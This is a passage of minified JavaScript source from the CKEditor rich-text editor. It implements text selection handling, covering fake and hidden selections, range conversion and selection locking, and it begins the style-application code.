f.remove()}else{f.is({tbody:1,thead:1,tfoot:1})&&(f=b(f,"tr",h));f.is("tr")&&(f=b(f,f.getParent().is("thead")?"th":"td",h));(e=f.getBogus())&&e.remove();d.moveToPosition(f,h?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END)}}}()})();
(function(){function a(){var a=this._.fakeSelection,b;if(a){b=this.getSelection(1);if(!b||!b.isHidden()){a.reset();a=0}}if(!a){a=b||this.getSelection(1);if(!a||a.getType()==CKEDITOR.SELECTION_NONE)return}this.fire("selectionCheck",a);b=this.elementPath();if(!b.compare(this._.selectionPreviousPath)){if(CKEDITOR.env.webkit)this._.previousActive=this.document.getActive();this._.selectionPreviousPath=b;this.fire("selectionChange",{selection:a,path:b})}}function f(){q=true;if(!w){b.call(this);w=CKEDITOR.tools.setTimeout(b,
200,this)}}function b(){w=null;if(q){CKEDITOR.tools.setTimeout(a,0,this);q=false}}function c(a){return t(a)||a.type==CKEDITOR.NODE_ELEMENT&&!a.is(CKEDITOR.dtd.$empty)?true:false}function e(a){function b(c,d){return!c||c.type==CKEDITOR.NODE_TEXT?false:a.clone()["moveToElementEdit"+(d?"End":"Start")](c)}if(!(a.root instanceof CKEDITOR.editable))return false;var d=a.startContainer,e=a.getPreviousNode(c,null,d),f=a.getNextNode(c,null,d);return b(e)||b(f,1)||!e&&!f&&!(d.type==CKEDITOR.NODE_ELEMENT&&d.isBlockBoundary()&&
d.getBogus())?true:false}function d(a){return a.getCustomData("cke-fillingChar")}function h(a,b){var c=a&&a.removeCustomData("cke-fillingChar");if(c){if(b!==false){var d,e=a.getDocument().getSelection().getNative(),f=e&&e.type!="None"&&e.getRangeAt(0);if(c.getLength()>1&&f&&f.intersectsNode(c.$)){d=j(e);f=e.focusNode==c.$&&e.focusOffset>0;e.anchorNode==c.$&&e.anchorOffset>0&&d[0].offset--;f&&d[1].offset--}}c.setText(k(c.getText()));d&&g(a.getDocument().$,d)}}function k(a){return a.replace(/\u200B( )?/g,
function(a){return a[1]?" ":""})}function j(a){return[{node:a.anchorNode,offset:a.anchorOffset},{node:a.focusNode,offset:a.focusOffset}]}function g(a,b){var c=a.getSelection(),d=a.createRange();d.setStart(b[0].node,b[0].offset);d.collapse(true);c.removeAllRanges();c.addRange(d);c.extend(b[1].node,b[1].offset)}function m(a){var b=CKEDITOR.dom.element.createFromHtml('<div data-cke-hidden-sel="1" data-cke-temp="1" style="'+(CKEDITOR.env.ie?"display:none":"position:fixed;top:0;left:-1000px")+'">&nbsp;</div>',
a.document);a.fire("lockSnapshot");a.editable().append(b);var c=a.getSelection(1),d=a.createRange(),e=c.root.on("selectionchange",function(a){a.cancel()},null,null,0);d.setStartAt(b,CKEDITOR.POSITION_AFTER_START);d.setEndAt(b,CKEDITOR.POSITION_BEFORE_END);c.selectRanges([d]);e.removeListener();a.fire("unlockSnapshot");a._.hiddenSelectionContainer=b}function y(a){var b={37:1,39:1,8:1,46:1};return function(c){var d=c.data.getKeystroke();if(b[d]){var e=a.getSelection().getRanges(),f=e[0];if(e.length==
1&&f.collapsed)if((d=f[d<38?"getPreviousEditableNode":"getNextEditableNode"]())&&d.type==CKEDITOR.NODE_ELEMENT&&d.getAttribute("contenteditable")=="false"){a.getSelection().fake(d);c.data.preventDefault();c.cancel()}}}}function s(a){for(var b=0;b<a.length;b++){var c=a[b];c.getCommonAncestor().isReadOnly()&&a.splice(b,1);if(!c.collapsed){if(c.startContainer.isReadOnly())for(var d=c.startContainer,e;d;){if((e=d.type==CKEDITOR.NODE_ELEMENT)&&d.is("body")||!d.isReadOnly())break;e&&d.getAttribute("contentEditable")==
"false"&&c.setStartAfter(d);d=d.getParent()}d=c.startContainer;e=c.endContainer;var f=c.startOffset,h=c.endOffset,g=c.clone();d&&d.type==CKEDITOR.NODE_TEXT&&(f>=d.getLength()?g.setStartAfter(d):g.setStartBefore(d));e&&e.type==CKEDITOR.NODE_TEXT&&(h?g.setEndAfter(e):g.setEndBefore(e));d=new CKEDITOR.dom.walker(g);d.evaluator=function(d){if(d.type==CKEDITOR.NODE_ELEMENT&&d.isReadOnly()){var e=c.clone();c.setEndBefore(d);c.collapsed&&a.splice(b--,1);if(!(d.getPosition(g.endContainer)&CKEDITOR.POSITION_CONTAINS)){e.setStartAfter(d);
e.collapsed||a.splice(b+1,0,e)}return true}return false};d.next()}}return a}var w,q,t=CKEDITOR.dom.walker.invisible(1),i=function(){function a(b){return function(a){var c=a.editor.createRange();c.moveToClosestEditablePosition(a.selected,b)&&a.editor.getSelection().selectRanges([c]);return false}}function b(a){return function(b){var c=b.editor,d=c.createRange(),e;if(!(e=d.moveToClosestEditablePosition(b.selected,a)))e=d.moveToClosestEditablePosition(b.selected,!a);e&&c.getSelection().selectRanges([d]);
c.fire("saveSnapshot");b.selected.remove();if(!e){d.moveToElementEditablePosition(c.editable());c.getSelection().selectRanges([d])}c.fire("saveSnapshot");return false}}var c=a(),d=a(1);return{37:c,38:c,39:d,40:d,8:b(),46:b(1)}}();CKEDITOR.on("instanceCreated",function(b){function c(){var a=d.getSelection();a&&a.removeAllRanges()}var d=b.editor;d.on("contentDom",function(){function b(){z=new CKEDITOR.dom.selection(d.getSelection());z.lock()}function c(){l.removeListener("mouseup",c);i.removeListener("mouseup",
c);var a=CKEDITOR.document.$.selection,b=a.createRange();a.type!="None"&&b.parentElement().ownerDocument==e.$&&b.select()}var e=d.document,l=CKEDITOR.document,g=d.editable(),p=e.getBody(),i=e.getDocumentElement(),v=g.isInline(),j,z;CKEDITOR.env.gecko&&g.attachListener(g,"focus",function(a){a.removeListener();if(j!==0)if((a=d.getSelection().getNative())&&a.isCollapsed&&a.anchorNode==g.$){a=d.createRange();a.moveToElementEditStart(g);a.select()}},null,null,-2);g.attachListener(g,CKEDITOR.env.webkit?
"DOMFocusIn":"focus",function(){j&&CKEDITOR.env.webkit&&(j=d._.previousActive&&d._.previousActive.equals(e.getActive()));d.unlockSelection(j);j=0},null,null,-1);g.attachListener(g,"mousedown",function(){j=0});if(CKEDITOR.env.ie||v){A?g.attachListener(g,"beforedeactivate",b,null,null,-1):g.attachListener(d,"selectionCheck",b,null,null,-1);g.attachListener(g,CKEDITOR.env.webkit?"DOMFocusOut":"blur",function(){d.lockSelection(z);j=1},null,null,-1);g.attachListener(g,"mousedown",function(){j=0})}if(CKEDITOR.env.ie&&
!v){var B;g.attachListener(g,"mousedown",function(a){if(a.data.$.button==2){a=d.document.getSelection();if(!a||a.getType()==CKEDITOR.SELECTION_NONE)B=d.window.getScrollPosition()}});g.attachListener(g,"mouseup",function(a){if(a.data.$.button==2&&B){d.document.$.documentElement.scrollLeft=B.x;d.document.$.documentElement.scrollTop=B.y}B=null});if(e.$.compatMode!="BackCompat"){if(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)i.on("mousedown",function(a){function b(a){a=a.data.$;if(d){var c=p.$.createTextRange();
try{c.moveToPoint(a.clientX,a.clientY)}catch(e){}d.setEndPoint(f.compareEndPoints("StartToStart",c)<0?"EndToEnd":"StartToStart",c);d.select()}}function c(){i.removeListener("mousemove",b);l.removeListener("mouseup",c);i.removeListener("mouseup",c);d.select()}a=a.data;if(a.getTarget().is("html")&&a.$.y<i.$.clientHeight&&a.$.x<i.$.clientWidth){var d=p.$.createTextRange();try{d.moveToPoint(a.$.clientX,a.$.clientY)}catch(e){}var f=d.duplicate();i.on("mousemove",b);l.on("mouseup",c);i.on("mouseup",c)}});
if(CKEDITOR.env.version>7&&CKEDITOR.env.version<11)i.on("mousedown",function(a){if(a.data.getTarget().is("html")){l.on("mouseup",c);i.on("mouseup",c)}})}}g.attachListener(g,"selectionchange",a,d);g.attachListener(g,"keyup",f,d);g.attachListener(g,CKEDITOR.env.webkit?"DOMFocusIn":"focus",function(){d.forceNextSelectionCheck();d.selectionChange(1)});if(v&&(CKEDITOR.env.webkit||CKEDITOR.env.gecko)){var x;g.attachListener(g,"mousedown",function(){x=1});g.attachListener(e.getDocumentElement(),"mouseup",
function(){x&&f.call(d);x=0})}else g.attachListener(CKEDITOR.env.ie?g:e.getDocumentElement(),"mouseup",f,d);CKEDITOR.env.webkit&&g.attachListener(e,"keydown",function(a){switch(a.data.getKey()){case 13:case 33:case 34:case 35:case 36:case 37:case 39:case 8:case 45:case 46:h(g)}},null,null,-1);g.attachListener(g,"keydown",y(d),null,null,-1)});d.on("setData",function(){d.unlockSelection();CKEDITOR.env.webkit&&c()});d.on("contentDomUnload",function(){d.unlockSelection()});if(CKEDITOR.env.ie9Compat)d.on("beforeDestroy",
c,null,null,9);d.on("dataReady",function(){delete d._.fakeSelection;delete d._.hiddenSelectionContainer;d.selectionChange(1)});d.on("loadSnapshot",function(){var a=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT),b=d.editable().getLast(a);if(b&&b.hasAttribute("data-cke-hidden-sel")){b.remove();if(CKEDITOR.env.gecko)(a=d.editable().getFirst(a))&&(a.is("br")&&a.getAttribute("_moz_editor_bogus_node"))&&a.remove()}},null,null,100);d.on("key",function(a){if(d.mode=="wysiwyg"){var b=d.getSelection();
if(b.isFake){var c=i[a.data.keyCode];if(c)return c({editor:d,selected:b.getSelectedElement(),selection:b,keyEvent:a})}}})});CKEDITOR.on("instanceReady",function(a){function b(){var a=e.editable();if(a)if(a=d(a)){var c=e.document.$.getSelection();if(c.type!="None"&&(c.anchorNode==a.$||c.focusNode==a.$))i=j(c);f=a.getText();a.setText(k(f))}}function c(){var a=e.editable();if(a)if(a=d(a)){a.setText(f);if(i){g(e.document.$,i);i=null}}}var e=a.editor,f,i;if(CKEDITOR.env.webkit){e.on("selectionChange",
function(){var a=e.editable(),b=d(a);b&&(b.getCustomData("ready")?h(a):b.setCustomData("ready",1))},null,null,-1);e.on("beforeSetMode",function(){h(e.editable())},null,null,-1);e.on("beforeUndoImage",b);e.on("afterUndoImage",c);e.on("beforeGetData",b,null,null,0);e.on("getData",c)}});CKEDITOR.editor.prototype.selectionChange=function(b){(b?a:f).call(this)};CKEDITOR.editor.prototype.getSelection=function(a){if((this._.savedSelection||this._.fakeSelection)&&!a)return this._.savedSelection||this._.fakeSelection;
return(a=this.editable())&&this.mode=="wysiwyg"?new CKEDITOR.dom.selection(a):null};CKEDITOR.editor.prototype.lockSelection=function(a){a=a||this.getSelection(1);if(a.getType()!=CKEDITOR.SELECTION_NONE){!a.isLocked&&a.lock();this._.savedSelection=a;return true}return false};CKEDITOR.editor.prototype.unlockSelection=function(a){var b=this._.savedSelection;if(b){b.unlock(a);delete this._.savedSelection;return true}return false};CKEDITOR.editor.prototype.forceNextSelectionCheck=function(){delete this._.selectionPreviousPath};
CKEDITOR.dom.document.prototype.getSelection=function(){return new CKEDITOR.dom.selection(this)};CKEDITOR.dom.range.prototype.select=function(){var a=this.root instanceof CKEDITOR.editable?this.root.editor.getSelection():new CKEDITOR.dom.selection(this.root);a.selectRanges([this]);return a};CKEDITOR.SELECTION_NONE=1;CKEDITOR.SELECTION_TEXT=2;CKEDITOR.SELECTION_ELEMENT=3;var A=typeof window.getSelection!="function",u=1;CKEDITOR.dom.selection=function(a){if(a instanceof CKEDITOR.dom.selection)var b=
a,a=a.root;var c=a instanceof CKEDITOR.dom.element;this.rev=b?b.rev:u++;this.document=a instanceof CKEDITOR.dom.document?a:a.getDocument();this.root=c?a:this.document.getBody();this.isLocked=0;this._={cache:{}};if(b){CKEDITOR.tools.extend(this._.cache,b._.cache);this.isFake=b.isFake;this.isLocked=b.isLocked;return this}var a=this.getNative(),d,e;if(a)if(a.getRangeAt)d=(e=a.rangeCount&&a.getRangeAt(0))&&new CKEDITOR.dom.node(e.commonAncestorContainer);else{try{e=a.createRange()}catch(f){}d=e&&CKEDITOR.dom.element.get(e.item&&
e.item(0)||e.parentElement())}if(!d||!(d.type==CKEDITOR.NODE_ELEMENT||d.type==CKEDITOR.NODE_TEXT)||!this.root.equals(d)&&!this.root.contains(d)){this._.cache.type=CKEDITOR.SELECTION_NONE;this._.cache.startElement=null;this._.cache.selectedElement=null;this._.cache.selectedText="";this._.cache.ranges=new CKEDITOR.dom.rangeList}return this};var o={img:1,hr:1,li:1,table:1,tr:1,td:1,th:1,embed:1,object:1,ol:1,ul:1,a:1,input:1,form:1,select:1,textarea:1,button:1,fieldset:1,thead:1,tfoot:1};CKEDITOR.dom.selection.prototype=
{getNative:function(){return this._.cache.nativeSel!==void 0?this._.cache.nativeSel:this._.cache.nativeSel=A?this.document.$.selection:this.document.getWindow().$.getSelection()},getType:A?function(){var a=this._.cache;if(a.type)return a.type;var b=CKEDITOR.SELECTION_NONE;try{var c=this.getNative(),d=c.type;if(d=="Text")b=CKEDITOR.SELECTION_TEXT;if(d=="Control")b=CKEDITOR.SELECTION_ELEMENT;if(c.createRange().parentElement())b=CKEDITOR.SELECTION_TEXT}catch(e){}return a.type=b}:function(){var a=this._.cache;
if(a.type)return a.type;var b=CKEDITOR.SELECTION_TEXT,c=this.getNative();if(!c||!c.rangeCount)b=CKEDITOR.SELECTION_NONE;else if(c.rangeCount==1){var c=c.getRangeAt(0),d=c.startContainer;if(d==c.endContainer&&d.nodeType==1&&c.endOffset-c.startOffset==1&&o[d.childNodes[c.startOffset].nodeName.toLowerCase()])b=CKEDITOR.SELECTION_ELEMENT}return a.type=b},getRanges:function(){var a=A?function(){function a(b){return(new CKEDITOR.dom.node(b)).getIndex()}var b=function(b,c){b=b.duplicate();b.collapse(c);
var d=b.parentElement();if(!d.hasChildNodes())return{container:d,offset:0};for(var e=d.children,f,g,h=b.duplicate(),v=0,l=e.length-1,i=-1,j,x;v<=l;){i=Math.floor((v+l)/2);f=e[i];h.moveToElementText(f);j=h.compareEndPoints("StartToStart",b);if(j>0)l=i-1;else if(j<0)v=i+1;else return{container:d,offset:a(f)}}if(i==-1||i==e.length-1&&j<0){h.moveToElementText(d);h.setEndPoint("StartToStart",b);h=h.text.replace(/(\r\n|\r)/g,"\n").length;e=d.childNodes;if(!h){f=e[e.length-1];return f.nodeType!=CKEDITOR.NODE_TEXT?
{container:d,offset:e.length}:{container:f,offset:f.nodeValue.length}}for(d=e.length;h>0&&d>0;){g=e[--d];if(g.nodeType==CKEDITOR.NODE_TEXT){x=g;h=h-g.nodeValue.length}}return{container:x,offset:-h}}h.collapse(j>0?true:false);h.setEndPoint(j>0?"StartToStart":"EndToStart",b);h=h.text.replace(/(\r\n|\r)/g,"\n").length;if(!h)return{container:d,offset:a(f)+(j>0?0:1)};for(;h>0;)try{g=f[j>0?"previousSibling":"nextSibling"];if(g.nodeType==CKEDITOR.NODE_TEXT){h=h-g.nodeValue.length;x=g}f=g}catch(m){return{container:d,
offset:a(f)}}return{container:x,offset:j>0?-h:x.nodeValue.length+h}};return function(){var a=this.getNative(),c=a&&a.createRange(),d=this.getType();if(!a)return[];if(d==CKEDITOR.SELECTION_TEXT){a=new CKEDITOR.dom.range(this.root);d=b(c,true);a.setStart(new CKEDITOR.dom.node(d.container),d.offset);d=b(c);a.setEnd(new CKEDITOR.dom.node(d.container),d.offset);a.endContainer.getPosition(a.startContainer)&CKEDITOR.POSITION_PRECEDING&&a.endOffset<=a.startContainer.getIndex()&&a.collapse();return[a]}if(d==
CKEDITOR.SELECTION_ELEMENT){for(var d=[],e=0;e<c.length;e++){for(var f=c.item(e),h=f.parentNode,g=0,a=new CKEDITOR.dom.range(this.root);g<h.childNodes.length&&h.childNodes[g]!=f;g++);a.setStart(new CKEDITOR.dom.node(h),g);a.setEnd(new CKEDITOR.dom.node(h),g+1);d.push(a)}return d}return[]}}():function(){var a=[],b,c=this.getNative();if(!c)return a;for(var d=0;d<c.rangeCount;d++){var e=c.getRangeAt(d);b=new CKEDITOR.dom.range(this.root);b.setStart(new CKEDITOR.dom.node(e.startContainer),e.startOffset);
b.setEnd(new CKEDITOR.dom.node(e.endContainer),e.endOffset);a.push(b)}return a};return function(b){var c=this._.cache,d=c.ranges;if(!d)c.ranges=d=new CKEDITOR.dom.rangeList(a.call(this));return!b?d:s(new CKEDITOR.dom.rangeList(d.slice()))}}(),getStartElement:function(){var a=this._.cache;if(a.startElement!==void 0)return a.startElement;var b;switch(this.getType()){case CKEDITOR.SELECTION_ELEMENT:return this.getSelectedElement();case CKEDITOR.SELECTION_TEXT:var c=this.getRanges()[0];if(c){if(c.collapsed){b=
c.startContainer;b.type!=CKEDITOR.NODE_ELEMENT&&(b=b.getParent())}else{for(c.optimize();;){b=c.startContainer;if(c.startOffset==(b.getChildCount?b.getChildCount():b.getLength())&&!b.isBlockBoundary())c.setStartAfter(b);else break}b=c.startContainer;if(b.type!=CKEDITOR.NODE_ELEMENT)return b.getParent();b=b.getChild(c.startOffset);if(!b||b.type!=CKEDITOR.NODE_ELEMENT)b=c.startContainer;else for(c=b.getFirst();c&&c.type==CKEDITOR.NODE_ELEMENT;){b=c;c=c.getFirst()}}b=b.$}}return a.startElement=b?new CKEDITOR.dom.element(b):
null},getSelectedElement:function(){var a=this._.cache;if(a.selectedElement!==void 0)return a.selectedElement;var b=this,c=CKEDITOR.tools.tryThese(function(){return b.getNative().createRange().item(0)},function(){for(var a=b.getRanges()[0].clone(),c,d,e=2;e&&(!(c=a.getEnclosedNode())||!(c.type==CKEDITOR.NODE_ELEMENT&&o[c.getName()]&&(d=c)));e--)a.shrink(CKEDITOR.SHRINK_ELEMENT);return d&&d.$});return a.selectedElement=c?new CKEDITOR.dom.element(c):null},getSelectedText:function(){var a=this._.cache;
if(a.selectedText!==void 0)return a.selectedText;var b=this.getNative(),b=A?b.type=="Control"?"":b.createRange().text:b.toString();return a.selectedText=b},lock:function(){this.getRanges();this.getStartElement();this.getSelectedElement();this.getSelectedText();this._.cache.nativeSel=null;this.isLocked=1},unlock:function(a){if(this.isLocked){if(a)var b=this.getSelectedElement(),c=!b&&this.getRanges(),d=this.isFake;this.isLocked=0;this.reset();if(a)(a=b||c[0]&&c[0].getCommonAncestor())&&a.getAscendant("body",
1)&&(d?this.fake(b):b?this.selectElement(b):this.selectRanges(c))}},reset:function(){this._.cache={};this.isFake=0;var a=this.root.editor;if(a&&a._.fakeSelection&&this.rev==a._.fakeSelection.rev){delete a._.fakeSelection;var b=a._.hiddenSelectionContainer;if(b){var c=a.checkDirty();a.fire("lockSnapshot");b.remove();a.fire("unlockSnapshot");!c&&a.resetDirty()}delete a._.hiddenSelectionContainer}this.rev=u++},selectElement:function(a){var b=new CKEDITOR.dom.range(this.root);b.setStartBefore(a);b.setEndAfter(a);
this.selectRanges([b])},selectRanges:function(a){var b=this.root.editor,b=b&&b._.hiddenSelectionContainer;this.reset();if(b)for(var b=this.root,c,d=0;d<a.length;++d){c=a[d];if(c.endContainer.equals(b))c.endOffset=Math.min(c.endOffset,b.getChildCount())}if(a.length)if(this.isLocked){var f=CKEDITOR.document.getActive();this.unlock();this.selectRanges(a);this.lock();f&&!f.equals(this.root)&&f.focus()}else{var g;a:{var i,j;if(a.length==1&&!(j=a[0]).collapsed&&(g=j.getEnclosedNode())&&g.type==CKEDITOR.NODE_ELEMENT){j=
j.clone();j.shrink(CKEDITOR.SHRINK_ELEMENT,true);if((i=j.getEnclosedNode())&&i.type==CKEDITOR.NODE_ELEMENT)g=i;if(g.getAttribute("contenteditable")=="false")break a}g=void 0}if(g)this.fake(g);else{if(A){j=CKEDITOR.dom.walker.whitespaces(true);i=/\ufeff|\u00a0/;b={table:1,tbody:1,tr:1};if(a.length>1){g=a[a.length-1];a[0].setEnd(g.endContainer,g.endOffset)}g=a[0];var a=g.collapsed,m,k,v;if((c=g.getEnclosedNode())&&c.type==CKEDITOR.NODE_ELEMENT&&c.getName()in o&&(!c.is("a")||!c.getText()))try{v=c.$.createControlRange();
v.addElement(c.$);v.select();return}catch(q){}if(g.startContainer.type==CKEDITOR.NODE_ELEMENT&&g.startContainer.getName()in b||g.endContainer.type==CKEDITOR.NODE_ELEMENT&&g.endContainer.getName()in b){g.shrink(CKEDITOR.NODE_ELEMENT,true);a=g.collapsed}v=g.createBookmark();b=v.startNode;if(!a)f=v.endNode;v=g.document.$.body.createTextRange();v.moveToElementText(b.$);v.moveStart("character",1);if(f){i=g.document.$.body.createTextRange();i.moveToElementText(f.$);v.setEndPoint("EndToEnd",i);v.moveEnd("character",
-1)}else{m=b.getNext(j);k=b.hasAscendant("pre");m=!(m&&m.getText&&m.getText().match(i))&&(k||!b.hasPrevious()||b.getPrevious().is&&b.getPrevious().is("br"));k=g.document.createElement("span");k.setHtml("&#65279;");k.insertBefore(b);m&&g.document.createText("﻿").insertBefore(b)}g.setStartBefore(b);b.remove();if(a){if(m){v.moveStart("character",-1);v.select();g.document.$.selection.clear()}else v.select();g.moveToPosition(k,CKEDITOR.POSITION_BEFORE_START);k.remove()}else{g.setEndBefore(f);f.remove();
v.select()}}else{f=this.getNative();if(!f)return;this.removeAllRanges();for(v=0;v<a.length;v++){if(v<a.length-1){m=a[v];k=a[v+1];i=m.clone();i.setStart(m.endContainer,m.endOffset);i.setEnd(k.startContainer,k.startOffset);if(!i.collapsed){i.shrink(CKEDITOR.NODE_ELEMENT,true);g=i.getCommonAncestor();i=i.getEnclosedNode();if(g.isReadOnly()||i&&i.isReadOnly()){k.setStart(m.startContainer,m.startOffset);a.splice(v--,1);continue}}}g=a[v];k=this.document.$.createRange();if(g.collapsed&&CKEDITOR.env.webkit&&
e(g)){m=this.root;h(m,false);i=m.getDocument().createText("​");m.setCustomData("cke-fillingChar",i);g.insertNode(i);if((m=i.getNext())&&!i.getPrevious()&&m.type==CKEDITOR.NODE_ELEMENT&&m.getName()=="br"){h(this.root);g.moveToPosition(m,CKEDITOR.POSITION_BEFORE_START)}else g.moveToPosition(i,CKEDITOR.POSITION_AFTER_END)}k.setStart(g.startContainer.$,g.startOffset);try{k.setEnd(g.endContainer.$,g.endOffset)}catch(z){if(z.toString().indexOf("NS_ERROR_ILLEGAL_VALUE")>=0){g.collapse(1);k.setEnd(g.endContainer.$,
g.endOffset)}else throw z;}f.addRange(k)}}this.reset();this.root.fire("selectionchange")}}},fake:function(a){var b=this.root.editor;this.reset();m(b);var c=this._.cache,d=new CKEDITOR.dom.range(this.root);d.setStartBefore(a);d.setEndAfter(a);c.ranges=new CKEDITOR.dom.rangeList(d);c.selectedElement=c.startElement=a;c.type=CKEDITOR.SELECTION_ELEMENT;c.selectedText=c.nativeSel=null;this.isFake=1;this.rev=u++;b._.fakeSelection=this;this.root.fire("selectionchange")},isHidden:function(){var a=this.getCommonAncestor();
a&&a.type==CKEDITOR.NODE_TEXT&&(a=a.getParent());return!(!a||!a.data("cke-hidden-sel"))},createBookmarks:function(a){a=this.getRanges().createBookmarks(a);this.isFake&&(a.isFake=1);return a},createBookmarks2:function(a){a=this.getRanges().createBookmarks2(a);this.isFake&&(a.isFake=1);return a},selectBookmarks:function(a){for(var b=[],c=0;c<a.length;c++){var d=new CKEDITOR.dom.range(this.root);d.moveToBookmark(a[c]);b.push(d)}a.isFake?this.fake(b[0].getEnclosedNode()):this.selectRanges(b);return this},
getCommonAncestor:function(){var a=this.getRanges();return!a.length?null:a[0].startContainer.getCommonAncestor(a[a.length-1].endContainer)},scrollIntoView:function(){this.type!=CKEDITOR.SELECTION_NONE&&this.getRanges()[0].scrollIntoView()},removeAllRanges:function(){if(this.getType()!=CKEDITOR.SELECTION_NONE){var a=this.getNative();try{a&&a[A?"empty":"removeAllRanges"]()}catch(b){}this.reset()}}}})();"use strict";CKEDITOR.STYLE_BLOCK=1;CKEDITOR.STYLE_INLINE=2;CKEDITOR.STYLE_OBJECT=3;
(function(){function a(a,b){for(var c,d;a=a.getParent();){if(a.equals(b))break;if(a.getAttribute("data-nostyle"))c=a;else if(!d){var e=a.getAttribute("contentEditable");e=="false"?c=a:e=="true"&&(d=1)}}return c}function f(b){var d=b.document;if(b.collapsed){d=i(this,d);b.insertNode(d);b.moveToPosition(d,CKEDITOR.POSITION_BEFORE_END)}else{var e=this.element,g=this._.definition,h,j=g.ignoreReadonly,m=j||g.includeReadonly;m==null&&(m=b.root.getCustomData("cke_includeReadonly"));var k=CKEDITOR.dtd[e];
if(!k){h=true;k=CKEDITOR.dtd.span}b.enlarge(CKEDITOR.ENLARGE_INLINE,1);b.trim();var l=b.createBookmark(),q=l.startNode,o=l.endNode,n=q,p;if(!j){var s=b.getCommonAncestor(),j=a(q,s),s=a(o,s);j&&(n=j.getNextSourceNode(true));s&&(o=s)}for(n.getPosition(o)==CKEDITOR.POSITION_FOLLOWING&&(n=0);n;){j=false;if(n.equals(o)){n=null;j=true}else{var r=n.type==CKEDITOR.NODE_ELEMENT?n.getName():null,s=r&&n.getAttribute("contentEditable")=="false",t=r&&n.getAttribute("data-nostyle");if(r&&n.data("cke-bookmark")){n=
n.getNextSourceNode(true);continue}if(s&&m&&CKEDITOR.dtd.$block[r])for(var y=n,u=c(y),A=void 0,C=u.length,F=0,y=C&&new CKEDITOR.dom.range(y.getDocument());F<C;++F){var A=u[F],P=CKEDITOR.filter.instances[A.data("cke-filter")];if(P?P.check(this):1){y.selectNodeContents(A);f.call(this,y)}}u=r?!k[r]||t?0:s&&!m?0:(n.getPosition(o)|K)==K&&(!g.childRule||g.childRule(n)):1;if(u)if((u=n.getParent())&&((u.getDtd()||CKEDITOR.dtd.span)[e]||h)&&(!g.parentRule||g.parentRule(u))){if(!p&&(!r||!CKEDITOR.dtd.$removeEmpty[r]||
(n.getPosition(o)|K)==K)){p=b.clone();p.setStartBefore(n)}r=n.type;if(r==CKEDITOR.NODE_TEXT||s||r==CKEDITOR.NODE_ELEMENT&&!n.getChildCount()){for(var r=n,U;(j=!r.getNext(L))&&(U=r.getParent(),k[U.getName()])&&(U.getPosition(q)|I)==I&&(!g.childRule||g.childRule(U));)r=U;p.setEndAfter(r)}}else j=true;else j=true;n=n.getNextSourceNode(t||s)}if(j&&p&&!p.collapsed){for(var j=i(this,d),s=j.hasAttributes(),t=p.getCommonAncestor(),r={},u={},A={},C={},N,R,X;j&&t;){if(t.getName()==e){for(N in g.attributes)if(!C[N]&&
(X=t.getAttribute(R)))j.getAttribute(N)==X?u[N]=1:C[N]=1;for(R in g.styles)if(!A[R]&&(X=t.getStyle(R)))j.getStyle(R)==X?r[R]=1:A[R]=1}t=t.getParent()}for(N in u)j.removeAttribute(N);for(R in r)j.removeStyle(R);s&&!j.hasAttributes()&&(j=null);if(j){p.extractContents().appendTo(j);p.insertNode(j);w.call(this,j);j.mergeSiblings();CKEDITOR.env.ie||j.$.normalize()}else{j=new CKEDITOR.dom.element("span");p.extractContents().appendTo(j);p.insertNode(j);w.call(this,j);j.remove(true)}p=null}}b.moveToBookmark(l);
b.shrink(CKEDITOR.SHRINK_TEXT);b.shrink(CKEDITOR.NODE_ELEMENT,true)}}function b(a){function b(){for(var a=new CKEDITOR.dom.elementPath(d.getParent()),c=new CKEDITOR.dom.elementPath(j.getParent()),e=null,f=null,g=0;g<a.elements.length;g++){var h=a.elements[g];if(h==a.block||h==a.blockLimit)break;m.checkElementRemovable(h,true)&&(e=h)}for(g=0;g<c.elements.length;g++){h=c.elements[g];if(h==c.block||h==c.blockLimit)break;m.checkElementRemovable(h,true)&&(f=h)}f&&j.breakParent(f);e&&d.breakParent(e)}a.enlarge(CKEDITOR.ENLARGE_INLINE,
1);var c=a.createBookmark(),d=c.startNode;if(a.collapsed){for(var e=new CKEDITOR.dom.elementPath(d.getParent(),a.root),f,g=0,h;g<e.elements.length&&(h=e.elements[g]);g++){if(h==e.block||h==e.blockLimit)break;if(this.checkElementRemovable(h)){var i;if(a.collapsed&&(a.checkBoundaryOfElement(h,CKEDITOR.END)||(i=a.checkBoundaryOfElement(h,CKEDITOR.START)))){f=h;f.match=i?"start":"end"}else{h.mergeSiblings();h.is(this.element)?s.call(this,h):q(h,o(this)[h.getName()])}}}if(f){h=d;for(g=0;;g++){i=e.elements[g];
if(i.equals(f))break;else if(i.match)continue;else i=i.clone();i.append(h);h=i}h[f.match=="start"?"insertBefore":"insertAfter"](f)}}else{var j=c.endNode,m=this;b();for(e=d;!e.equals(j);){f=e.getNextSourceNode();if(e.type==CKEDITOR.NODE_ELEMENT&&this.checkElementRemovable(e)){e.getName()==this.element?s.call(this,e):q(e,o(this)[e.getName()]);if(f.type==CKEDITOR.NODE_ELEMENT&&f.contains(d)){b();f=d.getNext()}}e=f}}a.moveToBookmark(c);a.shrink(CKEDITOR.NODE_ELEMENT,true)}function c(a){var b=[];a.forEach(function(a){if(a.getAttribute("contenteditable")==
"true"){b.push(a);return false}},CKEDITOR.NODE_ELEMENT,true);return b}function e(a){var b=a.getEnclosedNode()||a.getCommonAncestor(false,true);(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1))&&!a.isReadOnly()&&A(a,this)}function d(a){var b=a.getCommonAncestor(true,true);if(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1)){var b=this._.definition,c=b.attributes;if(c)for(var d in c)a.removeAttribute(d,c[d]);if(b.styles)for(var e in b.styles)b.styles.hasOwnProperty(e)&&
a.removeStyle(e)}}function h(a){var b=a.createBookmark(true),c=a.createIterator();c.enforceRealBlocks=true;if(this._.enterMode)c.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR;for(var d,e=a.document,f;d=c.getNextParagraph();)if(!d.isReadOnly()&&(c.activeFilter?c.activeFilter.check(this):1)){f=i(this,e,d);j(d,f)}a.moveToBookmark(b)}function k(a){var b=a.createBookmark(1),c=a.createIterator();c.enforceRealBlocks=true;c.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR;for(var d,e;d=c.getNextParagraph();)if(this.checkElementRemovable(d))if(d.is("pre")){(e=
